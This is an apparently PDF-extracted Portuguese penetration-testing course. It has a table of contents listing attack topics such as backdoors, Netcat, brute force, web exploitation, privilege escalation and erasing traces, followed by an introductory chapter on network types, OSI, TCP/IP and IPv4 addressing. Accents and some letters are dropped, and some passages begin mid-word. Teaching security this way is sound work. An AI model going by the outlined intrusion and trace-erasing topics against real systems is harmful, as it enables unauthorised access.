Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
www.linuxforce.com.br
Contedo
1 Conceitos Bsicos de Redes de Computadores 1.1 Denies Gerais . . . . . . . . . . . . . . . . . . . . . . . 1.1.1 Classicao segundo a extenso geogrca . . . . 1.1.1.1 Rede Local (LAN) . . . . . . . . . . . . . . 1.1.1.2 Rede de Longa Distncia (WAN) . . . . . . 1.1.1.3 Rede Metropolitana (MAN) . . . . . . . . . 1.1.2 Conceitos importantes . . . . . . . . . . . . . . . . . 1.1.2.1 Internet . . . . . . . . . . . . . . . . . . . . 1.1.2.2 Intranet . . . . . . . . . . . . . . . . . . . . 1.1.2.3 Extranet . . . . . . . . . . . . . . . . . . . 1.1.2.4 VPN (Rede Privada Virtual) . . . . . . . . . 1.2 Modelo de Referncia OSI . . . . . . . . . . . . . . . . . . . 1.2.1 Camada 1 Fsica . . . . . . . . . . . . . . . . . . . 1.2.2 Camada 2 Enlace . . . . . . . . . . . . . . . . . . 1.2.3 Camada 3 Rede . . . . . . . . . . . . . . . . . . . 1.2.4 Camada 4 Transporte . . . . . . . . . . . . . . . . 1.2.5 Camada 5 Sesso . . . . . . . . . . . . . . . . . . 1.2.6 Camada 6 Apresentao . . . . . . . . . . . . . . 1.2.7 Camada 7 - Aplicao . . . . . . . . . . . . . . . . . 1.3 Arquitetura TCP/IP . . . . . . . . . . . . . . . . . . . . . . . 1.3.1 Camada Fisica e de Enlace . . . . . . . . . . . . . . 1.3.2 Camada de Rede . . . . . . . . . . . . . . . . . . . 1.3.3 Camada de Transporte . . . . . . . . . . . . . . . . 1.3.4 Camada de Aplicao . . . . . . . . . . . . . . . . . 1.4 Endereamento IPv4 . . . . . . . . . . . . . . . . . . . . . . 1.4.1 Mscara de rede . . . . . . . . . . . . . . . . . . . . 1.5 IPv6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.1 Endereamento . . . . . . . . . . . . . . . . . . . . 1.5.1.1 Representao dos endereos . . . . . . . 1.5.1.2 Tipos de endereos IPv6 . . . . . . . . . . 1.5.1.2.1 Endereos Unicast . . . . . . . . 1.5.1.2.1.1 Identicadores de interface 1.5.1.2.1.2 Endereos especiais . . . . 1.5.1.2.2 Endereos Anycast . . . . . . . . 1.5.1.2.3 Endereos Multicast . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1 1 1 2 2 3 3 4 4 4 5 6 6 7 7 8 8 8 9 9 10 10 11 12 13 19 20 21 22 23 24 25 26 27
Contedo
2 Aprendendo GNU/Linux 2.1 Comandos e Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.1 O comando ls . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.2 Criao, movimentao, cpia e remoo de arquivos e diretrios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.2.1 Criar arquivo . . . . . . . . . . . . . . . . . . . . . . . 2.1.2.2 Curingas . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.2.3 Criando diretrios . . . . . . . . . . . . . . . . . . . . 2.1.2.4 Removendo arquivos/diretrios . . . . . . . . . . . . 2.1.2.5 Copiar arquivos/diretrios . . . . . . . . . . . . . . . . 2.1.2.6 Mover ou renomear arquivos/diretrios . . . . . . . . 2.2 FHS, Hierarquia dos Diretrios . . . . . . . . . . . . . . . . . . . . . . 2.3 Estrutura de Diretrios GNU/Linux . . . . . . . . . . . . . . . . . . . . 2.3.1 Diretrio / . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.2 DIRETRIO /bin . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.3 Diretrio /boot . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.4 Diretrio /dev . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.5 Diretrio /etc . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.6 Diretrio /lib . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.7 Diretrio /media . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.8 Diretrio /mnt . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.9 Diretrio /opt . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.10 Diretrio /sbin . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.11 Diretrio srv . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.12 Diretrio /tmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.13 Diretrio /usr . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.14 Diretrio /var . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.15 Diretrio /proc . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.16 Diretrio /sys . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.17 Diretrios /home e /root . . . . . . . . . . . . . . . . . . . . . . 2.3.18 Localizao no sistema: nd . . . . . . . . . . . . . . . . . . . 2.3.19 xargs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Introduo Segurana da Informao 3.1 Objetivos . . . . . . . . . . . . . . . 3.2 O que segurana? . . . . . . . . . 3.3 Segurana da Informao . . . . . . 3.4 Padres/Normas . . . . . . . . . . . 3.4.1 ISO 27001 . . . . . . . . . . 3.4.2 ISO 27002 . . . . . . . . . . 3.4.3 Basileia II . . . . . . . . . . . 3.4.4 PCI-DSS . . . . . . . . . . . 3.4.5 ITIL . . . . . . . . . . . . . . 3.4.6 COBIT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
32 . 32 . 32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 34 35 37 38 39 40 41 42 42 43 43 44 45 49 49 50 50 50 51 51 52 53 53 55 55 56 59 61 61 61 63 63 63 64 64 64 64 64
Pgina ii
Contedo
3.5 3.6
3.7 3.8
3.9 3.10
3.4.7 NIST 800 Series . . . . . . . . . . . . . Por que precisamos de segurana? . . . . . . Princpios bsicos da segurana da informao 3.6.1 Condencialidade . . . . . . . . . . . . 3.6.2 Integridade . . . . . . . . . . . . . . . . 3.6.3 Disponibilidade . . . . . . . . . . . . . . 3.6.4 Autenticidade . . . . . . . . . . . . . . . 3.6.5 Legalidade . . . . . . . . . . . . . . . . 3.6.6 Terminologias de segurana . . . . . . Ameaas e ataques . . . . . . . . . . . . . . . Mecanismos de segurana . . . . . . . . . . . 3.8.1 Mecanismos fsicos . . . . . . . . . . . 3.8.2 Mecanismos lgicos . . . . . . . . . . . Servios de segurana . . . . . . . . . . . . . . Certicaes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
65 65 66 66 66 67 67 67 68 68 70 70 71 71 72 74 74 74 75 75 75 75 76 76 76 76 77 77 78 79 79 80 80 80 81 82 84 85 85 85 85 86
4 Introduo ao Teste de Invaso e tica Hacker 4.1 Objetivos . . . . . . . . . . . . . . . . . . . . 4.2 Viso geral sobre o Pentest . . . . . . . . . . 4.3 Tipos de Pentest . . . . . . . . . . . . . . . . 4.3.1 Blind . . . . . . . . . . . . . . . . . . . 4.3.2 Double blind . . . . . . . . . . . . . . 4.3.3 Gray Box . . . . . . . . . . . . . . . . 4.3.4 Double Gray Box . . . . . . . . . . . . 4.3.5 Tandem . . . . . . . . . . . . . . . . . 4.3.6 Reversal . . . . . . . . . . . . . . . . . 4.4 As fases de um ataque . . . . . . . . . . . . . 4.4.1 Levantamento de Informaes . . . . 4.4.2 Varredura . . . . . . . . . . . . . . . . 4.4.3 Ganhando acesso . . . . . . . . . . . 4.4.4 Mantendo acesso . . . . . . . . . . . 4.4.5 Limpando rastros . . . . . . . . . . . . 4.5 Categorias de ataques . . . . . . . . . . . . . 4.5.1 Server Side Attacks . . . . . . . . . . 4.5.2 Client Side Attacks . . . . . . . . . . . 4.6 Metodologias existentes . . . . . . . . . . . . 4.7 Como conduzir um teste de invaso . . . . . 4.8 Aspectos Legais . . . . . . . . . . . . . . . . 5 Google Hacking 5.1 Google Hacking . . . . . . . . . . 5.2 Comandos Avanados do Google 5.2.1 intitle, allintitle . . . . . . . . 5.2.2 inurl, allinurl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Pgina iii
Contedo
5.2.3 letype . . . . . . . . . 5.2.4 allintext . . . . . . . . . 5.2.5 site . . . . . . . . . . . . 5.2.6 link . . . . . . . . . . . . 5.2.7 inanchor . . . . . . . . . 5.2.8 daterange . . . . . . . . 5.2.9 cache . . . . . . . . . . 5.2.10 info . . . . . . . . . . . 5.2.11 related . . . . . . . . . . 5.3 Google Hacking Database . . . 5.4 Levantamento de informaes
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . .
86 86 87 87 87 88 88 88 89 89 89
6 Levantamento de Informaes 6.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Footprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.3 Por onde comear? . . . . . . . . . . . . . . . . . . . . . . 6.4 Consulta a informaes de domnio . . . . . . . . . . . . . 6.5 Consultando servidores DNS . . . . . . . . . . . . . . . . . 6.6 Consultando websites antigos . . . . . . . . . . . . . . . . . 6.7 Webspiders . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.8 Netcraft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.9 Buscando relacionamentos . . . . . . . . . . . . . . . . . . 6.10 Rastreamento de E-mails . . . . . . . . . . . . . . . . . . . 6.11 Fingerprint . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.12 Fingerprint passivo . . . . . . . . . . . . . . . . . . . . . . . 6.13 Fingerprint ativo . . . . . . . . . . . . . . . . . . . . . . . . 6.13.1 Descobrindo um Sistema Operacional usando ICMP 6.13.2 Calculando HOP . . . . . . . . . . . . . . . . . . . . 6.13.3 Fingerprint atravs do xprobe2 . . . . . . . . . . . . 6.14 Contramedidas . . . . . . . . . . . . . . . . . . . . . . . . . 7 Engenharia Social 7.1 O que Engenharia Social? . . . . 7.2 Tipos de Engenharia Social . . . . 7.2.1 Baseada em pessoas . . . 7.2.2 Baseada em computadores 7.3 Formas de ataque . . . . . . . . . 7.3.1 Insider Attacks . . . . . . . 7.3.2 Roubo de identidade . . . . 7.3.3 Phishing Scam . . . . . . . 7.3.4 URL Obfuscation . . . . . . 7.3.5 Dumpster Diving . . . . . . 7.3.6 Persuaso . . . . . . . . . 7.4 Engenharia Social Reversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
91 . 91 . 91 . 92 . 93 . 94 . 95 . 96 . 97 . 97 . 98 . 99 . 100 . 101 . 101 . 102 . 102 . 103 104 . 104 . 104 . 104 . 105 . 105 . 105 . 105 . 106 . 106 . 106 . 106 . 107
Pgina iv
Contedo
8 Varreduras ativas, passivas e furtivas de rede 8.1 Varreduras Internet Control Messages Protocol (ICMP) . . . . 8.2 Varreduras TCP . . . . . . . . . . . . . . . . . . . . . . . . . . 8.3 NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4 Mtodos de Varredura . . . . . . . . . . . . . . . . . . . . . . . 8.4.1 -sP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.2 -sV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.3 -sS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.4 -sT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.5 -sU . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.6 -sF, -sX, -sN . . . . . . . . . . . . . . . . . . . . . . . . 8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> 8.5 Anonymizer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.5.1 Instalando e testando o TOR no BackTrack . . . . . . . 9 Enumerao de informaes e servios 9.1 Enumerao . . . . . . . . . . . . . . 9.2 Aquisio de banners . . . . . . . . . 9.2.1 Tcnicas clssicas . . . . . . . 9.2.2 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
108 . 108 . 109 . 110 . 111 . 111 . 111 . 111 . 112 . 112 . 112 . 113 . 113 . 114 117 . 117 . 117 . 118 . 118 120 . 120 . 120 . 121 . 122 . 123 . 123 . 124 . 124 . 125 . 125 . 126 . 127 . 127 129 . 129 . 130 . 130 . 130 . 131 . 131
10 Trojans, Backdoors, Vrus, Rootkits e Worms 10.1 Backdoor . . . . . . . . . . . . . . . . . . . . . . 10.2 Cavalo de Tria ou Trojan Horse . . . . . . . . . 10.3 Rootkits . . . . . . . . . . . . . . . . . . . . . . . 10.4 Vrus e worms . . . . . . . . . . . . . . . . . . . 10.5 Bots e Botnets . . . . . . . . . . . . . . . . . . . 10.5.1 Botnets . . . . . . . . . . . . . . . . . . . 10.5.2 Como o invasor se comunica com o Bot? 10.5.3 Esquema simplicado de uma botnet . . 10.6 Netcat . . . . . . . . . . . . . . . . . . . . . . . . 10.6.1 Opes do Netcat . . . . . . . . . . . . . 10.6.2 Netcat - Utilizao . . . . . . . . . . . . . 10.6.3 Encadeando Netcats . . . . . . . . . . . . 10.7 Keylogger . . . . . . . . . . . . . . . . . . . . . . 11 Ignorando Protees 11.1 Evaso de Firewall/IDS com Nmap 11.2 Firewall Tester . . . . . . . . . . . 11.2.1 Caractersticas: . . . . . . . 11.2.2 Utilizao: . . . . . . . . . . 11.2.3 Sintaxe: . . . . . . . . . . . 11.3 Detectando Honeypots . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Pgina v
Contedo
12 Tecnicas de Forca Bruta 12.1 Brute Force . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.2 Wordlist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.2.1 Gerao de Wordlist . . . . . . . . . . . . . . . . . . . 12.3 John The Ripper . . . . . . . . . . . . . . . . . . . . . . . . . 12.3.1 Modos . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.3.2 Linha de Comando . . . . . . . . . . . . . . . . . . . . 12.3.3 Usando o Jhon the Ripper . . . . . . . . . . . . . . . . 12.4 THC-Hydra . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.4.1 Usando o HydraGTK . . . . . . . . . . . . . . . . . . . 12.4.2 Hydra no terminal . . . . . . . . . . . . . . . . . . . . 12.5 Rainbow Crack . . . . . . . . . . . . . . . . . . . . . . . . . . 12.6 Utilizando o Rainbow Crack para criao de Rainbow Tables 12.6.1 Introduo . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
. . . . . . . . . . . . .
133 . 133 . 133 . 133 . 135 . 136 . 138 . 140 . 141 . 141 . 141 . 142 . 143 . 143 149 . 149 . 149 . 150 . 152 . 152 . 153 . 154 . 154 . 154 . 155 . 156 . 157 . 157 . 158 . 159 . 160 . 160 . 161 . 161 . 162 . 163 . 163 . 164 . 164 . 165 . 165 . 165
13 Vulnerabilidades em aplicaes web 13.1 Entendendo a aplicao web . . . . . . . . . . . . . . . . . . . . . . . 13.2 Por que to perigoso? . . . . . . . . . . . . . . . . . . . . . . . . . . 13.3 Principais Classes de Vulnerabilidades . . . . . . . . . . . . . . . . . . 13.4 A1 CROSS SITE SCRIPTING (XSS) . . . . . . . . . . . . . . . . . . 13.4.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.4.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.5 A2 FALHAS DE INJEO . . . . . . . . . . . . . . . . . . . . . . . . 13.5.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.5.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.6 A3 EXECUO MALICIOSA DE ARQUIVO . . . . . . . . . . . . . . 13.6.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.6.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.6.2.1 Shell PHP . . . . . . . . . . . . . . . . . . . . . . . . 13.7 A4 REFERNCIA INSEGURA DIRETA A OBJETO . . . . . . . . . . 13.7.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.7.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.8 A5 CROSS SITE REQUEST FORGERY (CSRF) . . . . . . . . . . . 13.8.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.8.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.9 A6 VAZAMENTO DE INFORMAES E TRATAMENTO DE ERROS INAPROPRIADO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.9.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.9.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.10 A7 FURO DE AUTENTICAO E GERNCIA DE SESSO . . . . . 13.10.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.10.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.11 A8 ARMAZENAMENTO CRIPTOGRTAFICO INSEGURO . . . . . . 13.11.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . .
Pgina vi
Contedo
13.11.2EXPLORANDO . . . . . . . . . . . . . . . . 13.12 A9 COMUNICAES INSEGURAS . . . . . . . 13.12.1VULNERABILIDADE . . . . . . . . . . . . . 13.12.2EXPLORANDO . . . . . . . . . . . . . . . . 13.13 A10 FALHA AO RESTRINGIR ACESSO URLS 13.13.1VULNERABILIDADE . . . . . . . . . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. 166 . 166 . 167 . 168 . 168 . 168 170 . 170 . 171 . 171 172 . 172 . 172 . 173 . 174 175
14 Elevao de Privilgios Locais 14.1 O que escalada de privilgios? . . . . . . . . . . . . . . . . . . . . . 14.2 Possveis alvos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14.3 Laboratorio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Apagando Rastros 15.1 Por que encobrir rastros? 15.2 O que encobrir? . . . . . 15.3 Tcnicas . . . . . . . . . 15.4 Ferramentas . . . . . . . 16 Referncias Bibliogrcas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Pgina vii
pamentos processadores com a nalidade de troca de dados. Um conceito mais preciso seria: um conjunto de hardware e software que permite a computadores individuais estabelecerem comunicao entre si, trocando e compartilhando informaes e recursos. Tais redes so denominadas locais por cobrirem apenas uma rea limitada (10 km no mximo, alm do que passam a ser denominadas MANs). Redes em reas maiores necessitam de tecnologias mais sosticadas, visto que, sicamente, quanto maior a distncia de um n da rede ao outro, maior a taxa de erros que ocorrero devido degradao do sinal. As LANs so utilizadas para conectar estaes, servidores, perifricos e outros dispositivos que possuam capacidade de processamento em uma casa, escritrio, escola e edifcios prximos.
1.1.1.2 Rede de Longa Distncia (WAN) A Wide Area Network (WAN), Rede de rea alargada ou Rede de longa distncia, tambm conhecida como Rede geogracamente distribuda, uma rede de computadores que abrange uma grande rea geogrca, com frequncia um pas ou continente.
1.1.1.3 Rede Metropolitana (MAN) Rede de rea Metropolitana (Metropolitan Area Network), tambm conhecida como MAN, o nome dado s redes que ocupam o permetro de uma cidade. So mais rpidas e permitem que empresas com liais em bairros diferentes se conectem entre si. A partir do momento que a internet atraiu uma audincia de massa, as operadoras de redes de TV a cabo, comearam a perceber que, com algumas mudanas no sistema, elas poderiam oferecer servios da Internet de mo dupla em partes no utilizadas do espectro. A televiso a cabo no a nica MAN. Os desenvolvimentos mais recentes para acesso internet de alta velocidade sem o resultaram em outra MAN, que foi padronizada como IEEE 802.16.
Pgina 2
1.1.2.1 Internet A Internet o maior conglomerado de redes de comunicaes em escala mundial e dispe milhes de computadores interligados pelo protocolo de comunicao TCP/IP que permite o acesso a informaes e todo tipo de transferncia de dados. Ela carrega uma ampla variedade de recursos e servios, incluindo os documentos interligados por meio de hiperligaes da World Wide Web (Rede de Alcance Mundial), e a infraestrutura para suportar correio eletrnico e servios como comunicao instantnea e compartilhamento de arquivos. De acordo com a Internet World Stats, 1,96 bilho de pessoas tinham acesso Internet em junho de 2010, o que representa 28,7% da populao mundial. Segundo a pesquisa, a Europa detinha quase 420 milhes de usurios, mais da metade da populao. Mais de 60% da populao da Oceania tem o acesso Internet, mas esse percentual reduzido para 6,8% na frica. Na Amrica Latina e Caribe, um pouco mais de 200 milhes de pessoas tm acesso Internet (de acordo com dados de junho de 2010), sendo que quase 76 milhes so brasileiros.
Pgina 3
1.1.2.2 Intranet A intranet uma rede de computadores privada que assenta sobre a suite de protocolos da Internet, porm, de uso exclusivo de um determinado local, como, por exemplo, a rede de uma empresa, que s pode ser acessada por seus usurios internos. Pelo fato de sua aplicao, todos os conceitos TCP/IP se empregam intranet, como, por exemplo, o paradigma de cliente-servidor. Dentro de uma empresa, todos os departamentos possuem alguma informao que pode ser trocada com os demais setores, podendo cada seo ter uma forma direta de se comunicar com as demais, o que se assemelha muito com a conexo LAN, que, porm, no emprega restries de acesso. Diferentemente do que ocorre na intranet, na extranet o acesso internet se d em qualquer lugar do mundo. O termo foi utilizado pela primeira vez em 19 de Abril de 1995, num artigo de autoria tcnica de Stephen Lawton, na Digital News & Reviews.
1.1.2.3 Extranet A Extranet de uma empresa a poro da rede de computadores que faz uso da Internet para partilhar com segurana parte do seu sistema de informao. Tomado o termo em seu sentido mais amplo, o conceito confunde-se com Intranet. Uma Extranet tambm pode ser vista como uma parte da empresa que estendida a usurios externos ("rede extra-empresa"), tais como representantes e clientes. Outro uso comum do termo Extranet ocorre na designao da "parte privada"de um site, onde somente "usurios registrados"podem navegar, previamente autenticados por sua senha (login).
1.1.2.4 VPN (Rede Privada Virtual) Rede Privada Virtual uma rede de comunicaes privada normalmente utilizada por uma empresa ou um conjunto de empresas e/ou instituies, construda em cima de uma rede de comunicaes pblica (como por exemplo, a Internet). O trfego de
Pgina 4
dados levado pela rede pblica utilizando protocolos padro, no necessariamente seguros. VPNs seguras usam protocolos de criptograa por tunelamento que fornecem a condencialidade, autenticao e integridade necessrias para garantir a privacidade das comunicaes requeridas. Quando adequadamente implementados, estes protocolos podem assegurar comunicaes seguras atravs de redes inseguras. Deve ser notado que a escolha, implementao e uso destes protocolos no algo trivial, e vrias solues de VPN inseguras so distribudas no mercado. Adverte-se os usurios para que investiguem com cuidado os produtos que fornecem VPNs. Por si s, o rtulo VPN apenas uma ferramenta de marketing.
Os termos: LAN, WAN, MAN, internet, intranet, extranet e VPN deste texto foram extraidos do site http://pt.wikipedia.org
Pgina 5
um conjunto de 7 camadas (layers) e os servios atribudos a cada uma. O modelo OSI uma referncia e no uma implementao.
Pgina 6
Para redes locais dividido em dois subnveis: LLC (Logical Link Control) e MAC (Media Access Control).
Pgina 7
Pgina 8
Pgina 9
A camada inferior da arquitetura TCP/IP tem as funcionalidades referentes s camadas 1 e 2 do Modelo OSI.
Pgina 10
Conabilidade da integridade dos dados Multiplexao Seqenciamento Controle de uxo Janelamento O UDP (User Datagram Protocol) um protocolo no orientado a conexo. Fornece um servio, no convel, sem garantia de entrega dos dados. Um datagrama pode se perder, sofrer atrasos, ser duplicado ou ser entregue fora de seqncia. No executa nenhum mecanismo de controle e nem envia mensagens de erro.
Pgina 11
O grande problema que os endereos so sempre divididos em duas partes, rede e host. Nos endereos de classe A, o primeiro octeto se refere rede e os trs octe-
Pgina 12
tos seguintes referem-se ao host. Temos apenas 126 faixas de endereos classe A disponveis no mundo, dadas a governos, instituies e at mesmo algumas empresas privadas, como por exemplo a IBM. As faixas de endereos classe A consomem cerca de metade dos endereos IP disponveis, representando um gigantesco desperdcio, j que nenhuma das faixas completamente utilizada. Ser que a IBM utiliza todos os 16 milhes de endereos IP a que tem direito? Certamente no. Mesmo nos endereos classe B (dois octetos para a rede, dois para o host, garantindo 65536 endereos) e nos classe C (trs octetos para a rede e um para o host, ou seja, apenas 256 endereos) o desperdcio muito grande. Muitas empresas alugam faixas de endereos classe C para utilizar apenas dois ou trs endereos por exemplo. Para piorar, parte dos endereos esto reservados para as classes D e E, que jamais foram implementadas. Isto faz com que j haja uma grande falta de endereos, principalmente os de classe A e B, que j esto todos ocupados.
Para saber mais sobre a alocao dos endereos IPV4 visite http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml
Pgina 13
Foi denida na RFC 1519 uma notao conhecida como CIDR (Classless InterDomain Routing), onde a mscara de sub-rede indicada simplesmente pelo nmero de bits utilizados na mscara de sub-rede, conforme exemplos a seguir:
Porm com este esquema de endereamento, baseado apenas nas mscaras de rede padro para cada classe (oito, dezesseis ou vinte e quatro bits), haveria um grande desperdcio de nmeros IP. Por exemplo, que empresa no mundo precisaria da faixa completa de uma rede classe A, na qual esto disponveis mais de 16 milhes de endereos IP? Analise o outro extremo desta questo. Imagine, por exemplo, uma empresa de porte mdio, que tem a matriz em So Paulo e mais cinco liais em outras cidades do Brasil. Agora imagine que em nenhuma das localidades, a rede tem mais do que 30 computadores. Se for usado as mscaras de sub-rede padro, teria que ser denida uma rede Classe C (at 254 computadores), para cada localidade. Observe que estamos reservando 254 nmeros IP para cada localidade (uma rede classe C com mscara 255.255.255.0), quando na verdade, no mximo, 30 nmeros sero utilizados em cada localidade. Na prtica, um belo desperdcio de endereos IP, mesmo em um empresa de porte mdio ou pequeno. Observe que neste exemplo, uma nica rede Classe C seria suciente. J que so seis localidades (a matriz mais seis liais), com um mximo de 30 endereos por localidade, um total de 254 endereos de uma rede Classe C seria mais do que suciente. Ainda haveria desperdcio, mas agora bem menor. A boa notcia que possvel dividir uma rede (qualquer rede) em sub-redes, onde cada sub-rede ca apenas com uma faixa de nmeros IP de toda a faixa 